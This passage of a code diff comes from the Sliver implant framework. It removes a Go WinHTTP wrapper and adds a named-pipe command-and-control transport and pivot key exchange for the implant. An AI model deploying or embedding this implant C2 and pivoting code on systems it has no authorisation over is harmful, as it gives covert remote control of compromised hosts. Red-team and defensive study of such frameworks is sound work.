WINHTTP_QUERY_UNLESS_MODIFIED_SINCE = 70
WINHTTP_HEADER_NAME_BY_INDEX = ""
WINHTTP_NO_OUTPUT_BUFFER = 0
WINHTTP_NO_HEADER_INDEX = 0
WINHTTP_OPTION_CALLBACK = 1
WINHTTP_OPTION_RESOLVE_TIMEOUT = 2
WINHTTP_OPTION_CONNECT_TIMEOUT = 3
WINHTTP_OPTION_CONNECT_RETRIES = 4
WINHTTP_OPTION_SEND_TIMEOUT = 5
WINHTTP_OPTION_RECEIVE_TIMEOUT = 6
WINHTTP_OPTION_RECEIVE_RESPONSE_TIMEOUT = 7
WINHTTP_OPTION_HANDLE_TYPE = 9
WINHTTP_OPTION_READ_BUFFER_SIZE = 12
WINHTTP_OPTION_WRITE_BUFFER_SIZE = 13
WINHTTP_OPTION_PARENT_HANDLE = 21
WINHTTP_OPTION_EXTENDED_ERROR = 24
WINHTTP_OPTION_SECURITY_FLAGS = 31
WINHTTP_OPTION_SECURITY_CERTIFICATE_STRUCT = 32
WINHTTP_OPTION_URL = 34
WINHTTP_OPTION_SECURITY_KEY_BITNESS = 36
WINHTTP_OPTION_PROXY = 38
WINHTTP_OPTION_USER_AGENT = 41
WINHTTP_OPTION_CONTEXT_VALUE = 45
WINHTTP_OPTION_CLIENT_CERT_CONTEXT = 47
WINHTTP_OPTION_REQUEST_PRIORITY = 58
WINHTTP_OPTION_HTTP_VERSION = 59
WINHTTP_OPTION_DISABLE_FEATURE = 63
WINHTTP_OPTION_CODEPAGE = 68
WINHTTP_OPTION_MAX_CONNS_PER_SERVER = 73
WINHTTP_OPTION_MAX_CONNS_PER_1_0_SERVER = 74
WINHTTP_OPTION_AUTOLOGON_POLICY = 77
WINHTTP_OPTION_SERVER_CERT_CONTEXT = 78
WINHTTP_OPTION_ENABLE_FEATURE = 79
WINHTTP_OPTION_WORKER_THREAD_COUNT = 80
WINHTTP_OPTION_PASSPORT_COBRANDING_TEXT = 81
WINHTTP_OPTION_PASSPORT_COBRANDING_URL = 82
WINHTTP_OPTION_CONFIGURE_PASSPORT_AUTH = 83
WINHTTP_OPTION_SECURE_PROTOCOLS = 84
WINHTTP_OPTION_ENABLETRACING = 85
WINHTTP_OPTION_PASSPORT_SIGN_OUT = 86
WINHTTP_OPTION_PASSPORT_RETURN_URL = 87
WINHTTP_OPTION_REDIRECT_POLICY = 88
WINHTTP_OPTION_MAX_HTTP_AUTOMATIC_REDIRECTS = 89
WINHTTP_OPTION_MAX_HTTP_STATUS_CONTINUE = 90
WINHTTP_OPTION_MAX_RESPONSE_HEADER_SIZE = 91
WINHTTP_OPTION_MAX_RESPONSE_DRAIN_SIZE = 92
WINHTTP_OPTION_CONNECTION_INFO = 93
WINHTTP_OPTION_CLIENT_CERT_ISSUER_LIST = 94
WINHTTP_OPTION_SPN = 96
WINHTTP_OPTION_GLOBAL_PROXY_CREDS = 97
WINHTTP_OPTION_GLOBAL_SERVER_CREDS = 98
WINHTTP_OPTION_UNLOAD_NOTIFY_EVENT = 99
WINHTTP_OPTION_REJECT_USERPWD_IN_URL = 100
WINHTTP_OPTION_USE_GLOBAL_SERVER_CREDENTIALS = 101
WINHTTP_LAST_OPTION = WINHTTP_OPTION_USE_GLOBAL_SERVER_CREDENTIALS
WINHTTP_OPTION_USERNAME = 0x1000
WINHTTP_OPTION_PASSWORD = 0x1001
WINHTTP_OPTION_PROXY_USERNAME = 0x1002
WINHTTP_OPTION_PROXY_PASSWORD = 0x1003
WINHTTP_ADDREQ_INDEX_MASK = 0x0000FFFF
WINHTTP_ADDREQ_FLAGS_MASK = 0xFFFF0000
WINHTTP_ADDREQ_FLAG_ADD_IF_NEW = 0x10000000
WINHTTP_ADDREQ_FLAG_ADD = 0x20000000
WINHTTP_ADDREQ_FLAG_COALESCE_WITH_COMMA = 0x40000000
WINHTTP_ADDREQ_FLAG_COALESCE_WITH_SEMICOLON = 0x01000000
WINHTTP_ADDREQ_FLAG_COALESCE = WINHTTP_ADDREQ_FLAG_COALESCE_WITH_COMMA
WINHTTP_ADDREQ_FLAG_REPLACE = 0x80000000
WINHTTP_CALLBACK_STATUS_RESOLVING_NAME = 0x00000001
WINHTTP_CALLBACK_STATUS_NAME_RESOLVED = 0x00000002
WINHTTP_CALLBACK_STATUS_CONNECTING_TO_SERVER = 0x00000004
WINHTTP_CALLBACK_STATUS_CONNECTED_TO_SERVER = 0x00000008
WINHTTP_CALLBACK_STATUS_SENDING_REQUEST = 0x00000010
WINHTTP_CALLBACK_STATUS_REQUEST_SENT = 0x00000020
WINHTTP_CALLBACK_STATUS_RECEIVING_RESPONSE = 0x00000040
WINHTTP_CALLBACK_STATUS_RESPONSE_RECEIVED = 0x00000080
WINHTTP_CALLBACK_STATUS_CLOSING_CONNECTION = 0x00000100
WINHTTP_CALLBACK_STATUS_CONNECTION_CLOSED = 0x00000200
WINHTTP_CALLBACK_STATUS_HANDLE_CREATED = 0x00000400
WINHTTP_CALLBACK_STATUS_HANDLE_CLOSING = 0x00000800
WINHTTP_CALLBACK_STATUS_DETECTING_PROXY = 0x00001000
WINHTTP_CALLBACK_STATUS_REDIRECT = 0x00004000
WINHTTP_CALLBACK_STATUS_INTERMEDIATE_RESPONSE = 0x00008000
WINHTTP_CALLBACK_STATUS_SECURE_FAILURE = 0x00010000
WINHTTP_CALLBACK_STATUS_HEADERS_AVAILABLE = 0x00020000
WINHTTP_CALLBACK_STATUS_DATA_AVAILABLE = 0x00040000
WINHTTP_CALLBACK_STATUS_READ_COMPLETE = 0x00080000
WINHTTP_CALLBACK_STATUS_WRITE_COMPLETE = 0x00100000
WINHTTP_CALLBACK_STATUS_REQUEST_ERROR = 0x00200000
WINHTTP_CALLBACK_STATUS_SENDREQUEST_COMPLETE = 0x00400000
WINHTTP_CALLBACK_FLAG_RESOLVE_NAME = WINHTTP_CALLBACK_STATUS_RESOLVING_NAME | WINHTTP_CALLBACK_STATUS_NAME_RESOLVED
WINHTTP_CALLBACK_FLAG_CONNECT_TO_SERVER = WINHTTP_CALLBACK_STATUS_CONNECTING_TO_SERVER | WINHTTP_CALLBACK_STATUS_CONNECTED_TO_SERVER
)
const (
WINHTTP_CALLBACK_STATUS_FLAG_CERT_REV_FAILED = 0x00000001
WINHTTP_CALLBACK_STATUS_FLAG_INVALID_CERT = 0x00000002
WINHTTP_CALLBACK_STATUS_FLAG_CERT_REVOKED = 0x00000004
WINHTTP_CALLBACK_STATUS_FLAG_INVALID_CA = 0x00000008
WINHTTP_CALLBACK_STATUS_FLAG_CERT_CN_INVALID = 0x00000010
WINHTTP_CALLBACK_STATUS_FLAG_CERT_DATE_INVALID = 0x00000020
WINHTTP_CALLBACK_STATUS_FLAG_CERT_WRONG_USAGE = 0x00000040
WINHTTP_CALLBACK_STATUS_FLAG_SECURITY_CHANNEL_ERROR = 0x80000000
)
// Constants we're missing from the Windows syscall package.
const (
ERROR_INVALID_PARAMETER syscall.Errno = 0x00000057
)
@@ -1,486 +0,0 @@
//go:build windows
package winhttp
// Package winhttp provides a Golang-ish interface to the WinHTTP
// API. Because WinHTTP has a somewhat consistent pattern of use that
// contrasts with what ideomatic Golang expects, there will still be
// some rough edges (see GetOption and SetOption for examples), but
// this package should enable someone with basic understanding of
// WinHTTP and knowledge of Go to be able to use it to produce
// software making use of winhttp.dll.
//
// Some notes:
// - Error handling may look a little weird. As per
// https://godoc.org/golang.org/x/sys/windows#LazyProc.Call , we
// *must* check the primary return value to see if the error is
// valid. To be more Golang-y, we do that here and return nil for
// errors when we don't have an error condition.
// - We currently do not support WinHTTP in async operation.
// - To avoid constantly looking up procs, we cache them here in
// private globals.
// - To help mesh one's understanding of what's going on here against
// MSDN documentation, we're using field and argument names from MSDN.
// - Arguments and struct fields marked as reserved in MSDN are either
// not present in function arguments here or not exported in struct
// types. We have to include them in structs to preserve memory
// layouts that Windows will expect.
import (
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
// HInternet is an internet handle given to us by WinHttp.
type HInternet uintptr
var wh = windows.NewLazySystemDLL("winhttp.dll")
var k32 = windows.NewLazySystemDLL("kernel32.dll")
var gF = k32.NewProc("GlobalFree")
func globalFree(ptr *uint16) {
if ptr != nil {
gF.Call(uintptr(unsafe.Pointer(ptr)))
}
}
type WinHttpCurrentUserIeProxyConfig struct {
FAutoDetect bool
LpszAutoConfigUrl *uint16
LpszProxy *uint16
LpszProxyBypass *uint16
}
func FreeWinHttpCurrentUserIeProxyConfig(cfg *WinHttpCurrentUserIeProxyConfig) {
globalFree(cfg.LpszAutoConfigUrl)
globalFree(cfg.LpszProxy)
globalFree(cfg.LpszProxyBypass)
}
type WinHttpAutoproxyOptions struct {
DwFlags uint32
DwAutoDetectFlags uint32
LpszAutoConfigUrl *uint16
lpvReserved uintptr
dwReserved uint32
FAutoLogonIfChallenged bool
}
type WinHttpProxyInfo struct {
DwAccessType uint32
LpszProxy *uint16
LpszProxyBypass *uint16
}
func FreeWinHttpProxyInfo(cfg *WinHttpProxyInfo) {
globalFree(cfg.LpszProxy)
globalFree(cfg.LpszProxyBypass)
}
var closeHandle = wh.NewProc("WinHttpCloseHandle")
// CloseHandle will close an hInternet handle. It is OK if the handle
// is already NULL.
func CloseHandle(hInternet HInternet) {
if hInternet != 0 {
closeHandle.Call(uintptr(hInternet))
}
}
var winHttpOpen = wh.NewProc("WinHttpOpen")
// Open creates a new WinHTTP Session for us.
func Open(userAgent string, accessType uint32, proxyName string, proxyBypass string, flags uint32) (HInternet, error) {
var pname *uint16
var pbypass *uint16
if proxyName != "" {
pname = windows.StringToUTF16Ptr(proxyName)
}
if proxyBypass != "" {
pbypass = windows.StringToUTF16Ptr(proxyBypass)
}
h, _, err := winHttpOpen.Call(
uintptr(unsafe.Pointer(windows.StringToUTF16Ptr(userAgent))),
uintptr(accessType),
uintptr(unsafe.Pointer(pname)),
uintptr(unsafe.Pointer(pbypass)),
uintptr(flags),
)
if h != 0 {
err = nil
}
return HInternet(h), err
}
var queryOption = wh.NewProc("WinHttpQueryOption")
//go:uintptrescapes
// QueryOption queries an option on the specified handle.
//
// Note that because we don't know what type of data we'll be getting
// via buffer, this function is tagged with a pragma to behave
// properly when using the form uintptr(unsafe.Pointer(&obj)) in its
// function call, similar to the wired-in compiler tricks for
// syscall.Syscall(). See the documentation to unsafe.Pointer
// (https://golang.org/pkg/unsafe/#Pointer) for more information.
func QueryOption(hInternet HInternet, option uint32, buffer uintptr, bufferLength *uint32) error {
r, _, err := queryOption.Call(
uintptr(hInternet),
uintptr(option),
buffer,
uintptr(unsafe.Pointer(bufferLength)),
)
if r != 1 {
return err
}
return nil
}
var setOption = wh.NewProc("WinHttpSetOption")
//go:uintptrescapes
// SetOption sets an option on the specified handle.
//
// Note that because we don't know what type of data we'll be getting
// via buffer, this function is tagged with a pragma to behave
// properly when using the form uintptr(unsafe.Pointer(&obj)) in its
// function call, similar to the wired-in compiler tricks for
// syscall.Syscall(). See the documentation to unsafe.Pointer
// (https://golang.org/pkg/unsafe/#Pointer) for more information.
func SetOption(
hInternet HInternet,
option uint32,
buffer uintptr,
bufferLength uintptr,
) error {
r, _, err := setOption.Call(
uintptr(hInternet),
uintptr(option),
buffer,
bufferLength,
)
if r != 1 {
return err
}
return nil
}
var setStatusCallback = wh.NewProc("WinHttpSetStatusCallback")
// SetStatusCallback sets a callback for status events from WinHTTP.
//
// See documentation on the callback function signature at
// https://msdn.microsoft.com/en-us/library/windows/desktop/aa383917(v=vs.85).aspx
func SetStatusCallback(
hInternet HInternet,
internetCallback interface{},
notificationFlags uint32,
) error {
r, _, err := setStatusCallback.Call(
uintptr(hInternet),
syscall.NewCallback(internetCallback),
uintptr(notificationFlags),
0,
)
// WinHttpSetStatusCallback returns a uintptr representing a
// pointer to the previous callback or a value of -1 in the
// case of error. For those playing along at home, we can't do
// much with the uintptr to a function, nor can we represent
// -1 as valid uintptr. So, we do the below to return true or
// false for success instead.
if r == ^uintptr(0) {
return err
}
return nil
}
var sendRequest = wh.NewProc("WinHttpSendRequest")
// SendRequest sends the given hRequest across the network, with
// optionally setting additional headers or body data.
func SendRequest(
hRequest HInternet,
headers string,
optional *byte,
optionalLength int,
totalLength int,
context *uint32,
) error {
var r uintptr
var err error
if headers != "" {
r, _, err = sendRequest.Call(
uintptr(hRequest),
uintptr(unsafe.Pointer(windows.StringToUTF16Ptr(headers))),
^uintptr(0),
uintptr(unsafe.Pointer(optional)),
uintptr(optionalLength),
uintptr(totalLength),
uintptr(unsafe.Pointer(context)),
)
} else {
r, _, err = sendRequest.Call(
uintptr(hRequest),
uintptr(WINHTTP_NO_ADDITIONAL_HEADERS),
uintptr(0),
uintptr(unsafe.Pointer(optional)),
uintptr(optionalLength),
uintptr(totalLength),
uintptr(unsafe.Pointer(context)),
)
}
if r != 1 {
return err
}
return nil
}
var receiveResponse = wh.NewProc("WinHttpReceiveResponse")
// ReceiveResponse waits to receive the response to an HTTP request
// sent by SendRequest.
func ReceiveResponse(hRequest HInternet) error {
if r, _, err := receiveResponse.Call(uintptr(hRequest), 0); r != 1 {
return err
}
return nil
}
var connect = wh.NewProc("WinHttpConnect")
// Connect creates an hConnect handle pointing to a specified server.
func Connect(
hSession HInternet,
serverName string,
port int,
) (HInternet, error) {
r, _, err := connect.Call(
uintptr(hSession),
uintptr(unsafe.Pointer(windows.StringToUTF16Ptr(serverName))),
uintptr(port),
0,
)
if r != 0 {
err = nil
}
return HInternet(r), err
}
var openRequest = wh.NewProc("WinHttpOpenRequest")
// OpenRequest creates a new request for a given hConnect.
func OpenRequest(
hConnect HInternet,
verb string,
objectName string,
version string,
referrer string,
acceptTypes []string,
flags uint32,
) (HInternet, error) {
var verbptr *uint16
if verb != "" {
verbptr = windows.StringToUTF16Ptr(verb)
}
var objptr *uint16
if objectName != "" {
objptr = windows.StringToUTF16Ptr(objectName)
}
var verptr *uint16
if version != "" {
verptr = windows.StringToUTF16Ptr(version)
}
var refptr *uint16
if referrer != "" {
refptr = windows.StringToUTF16Ptr(referrer)
}
r, _, err := openRequest.Call(
uintptr(hConnect),
uintptr(unsafe.Pointer(verbptr)),
uintptr(unsafe.Pointer(objptr)),
uintptr(unsafe.Pointer(verptr)),
uintptr(unsafe.Pointer(refptr)),
0, // Not implementing ppwszAcceptTypes at this time.
uintptr(flags),
)
if r != 0 {
err = nil
}
return HInternet(r), err
}
var addRequestHeaders = wh.NewProc("WinHttpAddRequestHeaders")
// AddRequestHeaders adds HTTP headers to the specified Request.
func AddRequestHeaders(
hRequest HInternet,
header string,
modifiers uint32,
) error {
r, _, err := addRequestHeaders.Call(
uintptr(hRequest),
uintptr(unsafe.Pointer(windows.StringToUTF16Ptr(header))),
^uintptr(0),
uintptr(modifiers),
)
if r != 1 {
return err
}
return nil
}
var queryHeaders = wh.NewProc("WinHttpQueryHeaders")
// QueryHeaders retreives information from the headers of the
// specified Request.
func QueryHeaders(
hRequest HInternet,
infoLevel uint32,
name string,
buffer *uint16,
bufferLength *uint32,
index *uint32,
) error {
var nameptr *uint16
if name != "" {
nameptr = windows.StringToUTF16Ptr(name)
}
r, _, err := queryHeaders.Call(
uintptr(hRequest),
uintptr(infoLevel),
uintptr(unsafe.Pointer(nameptr)),
uintptr(unsafe.Pointer(buffer)),
uintptr(unsafe.Pointer(bufferLength)),
uintptr(unsafe.Pointer(index)),
)
if r != 1 {
return err
}
return nil
}
var queryDataAvailable = wh.NewProc("WinHttpQueryDataAvailable")
// QueryDataAvailable returns if we have data available to read.
func QueryDataAvailable(
hRequest HInternet,
) (uint, error) {
var d uint32
r, _, err := queryDataAvailable.Call(
uintptr(hRequest),
uintptr(unsafe.Pointer(&d)),
)
if r != 1 {
return 0, err
}
return uint(d), nil
}
var readData = wh.NewProc("WinHttpReadData")
// ReadData reads data from the Request into buffer.
func ReadData(
hRequest HInternet,
buffer []byte,
) (int, error) {
if len(buffer) > 0 {
var b uint32
r, _, err := readData.Call(
uintptr(hRequest),
uintptr(unsafe.Pointer(&buffer[0])),
uintptr(len(buffer)),
uintptr(unsafe.Pointer(&b)),
)
if r != 1 {
return 0, err
}
return int(b), nil
} else {
return 0, nil
}
}
var getProxyForUrl = wh.NewProc("WinHttpGetProxyForUrl")
func GetProxyForUrl(
hSession HInternet,
url string,
autoProxyOptions *WinHttpAutoproxyOptions,
) (*WinHttpProxyInfo, error) {
p := new(WinHttpProxyInfo)
r, _, err := getProxyForUrl.Call(
uintptr(hSession),
uintptr(unsafe.Pointer(windows.StringToUTF16Ptr(url))),
uintptr(unsafe.Pointer(autoProxyOptions)),
uintptr(unsafe.Pointer(p)),
)
if r != 1 {
return nil, err
}
return p, nil
}
var getIEProxyConfigForCurrentUser = wh.NewProc("WinHttpGetIEProxyConfigForCurrentUser")
func GetIEProxyConfigForCurrentUser() (*WinHttpCurrentUserIeProxyConfig, error) {
i := new(WinHttpCurrentUserIeProxyConfig)
r, _, err := getIEProxyConfigForCurrentUser.Call(
uintptr(unsafe.Pointer(i)),
)
if r != 1 {
return nil, err
}
return i, nil
}
var setTimeouts = wh.NewProc("WinHttpSetTimeouts")
func SetTimeouts(
hInternet HInternet,
resolveTimeout int,
connectTimeout int,
sendTimeout int,
receiveTimeout int,
) error {
r, _, err := setTimeouts.Call(
uintptr(hInternet),
uintptr(resolveTimeout),
uintptr(connectTimeout),
uintptr(sendTimeout),
uintptr(receiveTimeout),
)
if r != 1 {
return err
}
return nil
}
@@ -0,0 +1,132 @@
//go:build windows
package namedpipe
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// {{if .Config.NamePipec2Enabled}}
import (
"bytes"
"encoding/binary"
"net"
"net/url"
"strings"
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/lesnuages/go-winio"
"google.golang.org/protobuf/proto"
)
const (
readBufSizeNamedPipe = 1024
writeBufSizeNamedPipe = 1024
)
func NamedPipeConnect(uri *url.URL) (net.Conn, error) {
address := uri.String()
address = strings.ReplaceAll(address, "namedpipe://", "")
address = "\\\\" + strings.ReplaceAll(address, "/", "\\")
// {{if .Config.Debug}}
log.Print("Named pipe address: ", address)
// {{end}}
return winio.DialPipe(address, nil)
}
func WriteEnvelope(conn *net.Conn, envelope *sliverpb.Envelope) error {
data, err := proto.Marshal(envelope)
if err != nil {
// {{if .Config.Debug}}
log.Print("[namedpipe] Marshaling error: ", err)
// {{end}}
return err
}
dataLengthBuf := new(bytes.Buffer)
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
_, err = (*conn).Write(dataLengthBuf.Bytes())
if err != nil {
// {{if .Config.Debug}}
log.Printf("[namedpipe] Error %s and %d\n", err, dataLengthBuf)
// {{end}}
}
totalWritten := 0
for totalWritten < len(data)-writeBufSizeNamedPipe {
n, err2 := (*conn).Write(data[totalWritten : totalWritten+writeBufSizeNamedPipe])
totalWritten += n
if err2 != nil {
// {{if .Config.Debug}}
log.Printf("[namedpipe] Error %s\n", err)
// {{end}}
}
}
if totalWritten < len(data) {
missing := len(data) - totalWritten
_, err := (*conn).Write(data[totalWritten : totalWritten+missing])
if err != nil {
// {{if .Config.Debug}}
log.Printf("[namedpipe] Error %s", err)
// {{end}}
}
}
return nil
}
func ReadEnvelope(conn *net.Conn) (*sliverpb.Envelope, error) {
dataLengthBuf := make([]byte, 4)
_, err := (*conn).Read(dataLengthBuf)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[namedpipe] Error (read msg-length): %s", err)
// {{end}}
return nil, err
}
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
readBuf := make([]byte, readBufSizeNamedPipe)
dataBuf := make([]byte, 0)
totalRead := 0
for {
n, err := (*conn).Read(readBuf)
dataBuf = append(dataBuf, readBuf[:n]...)
totalRead += n
if totalRead == dataLength {
break
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("read error: %s\n", err)
// {{end}}
break
}
}
envelope := &sliverpb.Envelope{}
err = proto.Unmarshal(dataBuf, envelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[namedpipe] Unmarshal envelope error: %s", err)
// {{end}}
return &sliverpb.Envelope{}, err
}
return envelope, nil
}
// {{end}} -NamePipec2Enabled
@@ -1,6 +1,12 @@
//go:build !windows
package pivotclients
package namedpipe
import (
"errors"
"net"
"net/url"
)
/*
Sliver Implant Framework
@@ -20,11 +26,6 @@ package pivotclients
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
)
// NamedPipeConnect - Non windows implementation of the named pipe client
func NamedPipePivotStartSession(_ string, _ *NamedPipePivotOptions) (*NetConnPivotClient, error) {
return nil, errors.New("unsupported platform")
func NamedPipeConnect(_ *url.URL) (net.Conn, error) {
return nil, errors.New("{{if .Config.Debug}}NamedPipeConnect not implemented on this platform{{end}}")
}
@@ -1,50 +0,0 @@
package pivotclients
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"net/url"
"time"
)
var (
defaultNamedPipeDeadline = time.Second * 10
)
// ParseNamedPipePivotOptions - Parse the options for the TCP pivot from a C2 URL
func ParseNamedPipePivotOptions(uri *url.URL) *NamedPipePivotOptions {
readDeadline, err := time.ParseDuration(uri.Query().Get("read-deadline"))
if err != nil {
readDeadline = defaultNamedPipeDeadline
}
writeDeadline, err := time.ParseDuration(uri.Query().Get("write-deadline"))
if err != nil {
writeDeadline = defaultNamedPipeDeadline
}
return &NamedPipePivotOptions{
ReadDeadline: readDeadline,
WriteDeadline: writeDeadline,
}
}
// NamedPipePivotOptions - Options for the NamedPipe pivot
type NamedPipePivotOptions struct {
ReadDeadline time.Duration
WriteDeadline time.Duration
}
@@ -1,70 +0,0 @@
package pivotclients
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// {{if .Config.NamePipec2Enabled}}
import (
"net/url"
"strings"
"sync"
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/lesnuages/go-winio"
)
// NamedPipePivotStartSession - Start a TCP pivot session with a peer
func NamedPipePivotStartSession(uri *url.URL, opts *NamedPipePivotOptions) (*NetConnPivotClient, error) {
address := uri.String()
address = strings.ReplaceAll(address, "namedpipe://", "")
address = "\\\\" + strings.ReplaceAll(address, "/", "\\")
// {{if .Config.Debug}}
log.Print("Pivot named pipe address: ", address)
// {{end}}
conn, err := winio.DialPipe(address, nil)
if err != nil {
return nil, err
}
pivot := &NetConnPivotClient{
conn: conn,
readMutex: &sync.Mutex{},
writeMutex: &sync.Mutex{},
readDeadline: opts.ReadDeadline,
writeDeadline: opts.WriteDeadline,
}
err = pivot.peerKeyExchange()
if err != nil {
conn.Close()
return nil, err
}
err = pivot.serverKeyExchange()
if err != nil {
conn.Close()
return nil, err
}
return pivot, nil
}
// {{end}} -NamePipec2Enabled
@@ -1,364 +0,0 @@
package pivotclients
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"crypto/rand"
"encoding/base64"
"encoding/binary"
"errors"
"net"
"sync"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/cryptography"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/gofrs/uuid"
"google.golang.org/protobuf/proto"
)
var (
OriginID = originID() // The origin's PeerID
)
// originID - Random origin identifier
func originID() int64 {
buf := make([]byte, 8)
rand.Read(buf)
return int64(binary.LittleEndian.Uint64(buf))
}
// NetConnPivotClient - A TCP pivot client
type NetConnPivotClient struct {
originID int64
pivotSessionID []byte
conn net.Conn
readMutex *sync.Mutex
writeMutex *sync.Mutex
peerCipherCtx *cryptography.CipherContext
serverCipherCtx *cryptography.CipherContext
readDeadline time.Duration
writeDeadline time.Duration
}
// KeyExchange - Perform the key exchange with peer and then the upstream server
func (p *NetConnPivotClient) KeyExchange() error {
err := p.peerKeyExchange()
if err != nil {
return err
}
// {{if .Config.Debug}}
log.Printf("[pivot] Peer key exchange successful")
// {{end}}
err = p.serverKeyExchange()
if err != nil {
return err
}
// {{if .Config.Debug}}
log.Printf("[pivot] Server key exchange successful")
// {{end}}
return nil
}
func (p *NetConnPivotClient) peerKeyExchange() error {
publicKey, err := base64.RawStdEncoding.DecodeString(cryptography.ECCPublicKey)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Error decoding public key: %v", err)
// {{end}}
return err
}
pivotHello, _ := proto.Marshal(&pb.PivotHello{
PublicKey: publicKey,
PublicKeySignature: cryptography.ECCPublicKeySignature,
})
// Enforce deadlines on the key exchange
p.conn.SetWriteDeadline(time.Now().Add(p.writeDeadline))
p.write(pivotHello)
p.conn.SetWriteDeadline(time.Time{})
p.conn.SetReadDeadline(time.Now().Add(p.readDeadline))
peerPublicKeyRaw, err := p.read()
p.conn.SetReadDeadline(time.Time{})
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Error reading peer public key: %v", err)
// {{end}}
return err
}
peerHello := &pb.PivotHello{}
err = proto.Unmarshal(peerPublicKeyRaw, peerHello)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Error un-marshaling peer public key: %v", err)
// {{end}}
return err
}
peerSessionKey, err := cryptography.ECCDecryptFromPeer(peerHello.PublicKey, peerHello.PublicKeySignature, peerHello.SessionKey)
if err != nil || len(peerSessionKey) != 32 {
// {{if .Config.Debug}}
log.Printf("[pivot] Error decrypting session key: %v", err)
// {{end}}
return err
}
peerSessionKeyBuf := [32]byte{}
copy(peerSessionKeyBuf[:], peerSessionKey)
p.peerCipherCtx = cryptography.NewCipherContext(peerSessionKeyBuf)
return nil
}
func (p *NetConnPivotClient) serverKeyExchange() error {
p.originID = OriginID
serverSessionKey := cryptography.RandomKey()
p.serverCipherCtx = cryptography.NewCipherContext(serverSessionKey)
ciphertext, err := cryptography.ECCEncryptToServer(serverSessionKey[:])
if err != nil {
return err
}
pivotServerKeyExchange, _ := proto.Marshal(&pb.PivotServerKeyExchange{
OriginID: p.originID,
SessionKey: ciphertext,
})
pivotServerKeyExchangeEnvelope, _ := proto.Marshal(&pb.Envelope{
Type: pb.MsgPivotServerKeyExchange,
Data: pivotServerKeyExchange,
})
keyExchangeCiphertext, err := p.peerCipherCtx.Encrypt(pivotServerKeyExchangeEnvelope)
if err != nil {
return err
}
// {{if .Config.Debug}}
log.Printf("[pivot] Sending server key exchange ...")
// {{end}}
p.conn.SetWriteDeadline(time.Now().Add(p.writeDeadline))
err = p.write(keyExchangeCiphertext)
p.conn.SetWriteDeadline(time.Time{})
if err != nil {
return err
}
// {{if .Config.Debug}}
log.Printf("[pivot] Waiting for server key exchange response (5m) ...")
// {{end}}
// Now that both peer/server cipher contexts are setup we can use ReadEnvelope() we use
// a different read deadline here as this has to go round trip to the server if the
// upstream implant uses a slow protocol it may take a while to go there and back again
p.conn.SetReadDeadline(time.Now().Add(5 * time.Minute))
serverKeyExchangeResp, err := p.ReadEnvelope()
p.conn.SetReadDeadline(time.Time{})
if err != nil {
return err
}
if serverKeyExchangeResp.Type != pb.MsgPivotServerKeyExchange {
// {{if .Config.Debug}}
log.Printf("[pivot] Unexpected message type: %v", serverKeyExchangeResp.Type)
// {{end}}
return errors.New("server key exchange failure")
}
// Just make sure we can parse the bytes
p.pivotSessionID = uuid.FromBytesOrNil(serverKeyExchangeResp.Data).Bytes()
// {{if .Config.Debug}}
log.Printf("[pivot] Pivot session ID: %s",
uuid.FromBytesOrNil(serverKeyExchangeResp.Data).String(),
)
// {{end}}
return nil
}
// write - Write a message to the TCP pivot with a length prefix
// it's unlikely we can't write the 4-byte length prefix in one write
// so we fail if we can't, messages may be much longer so we try to
// drain the message buffer if we didn't complete the write
func (p *NetConnPivotClient) write(message []byte) error {
p.writeMutex.Lock()
defer p.writeMutex.Unlock()
n, err := p.conn.Write(p.lengthOf(message))
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Error writing message length: %v", err)
// {{end}}
return err
}
if n != 4 {
// {{if .Config.Debug}}
log.Printf("[pivot] Error writing message length: %v", err)
// {{end}}
return ErrFailedWrite
}
total := 0
for total < len(message) {
n, err = p.conn.Write(message[total:])
total += n
if err != nil {
// {{if .Config.Debug}}
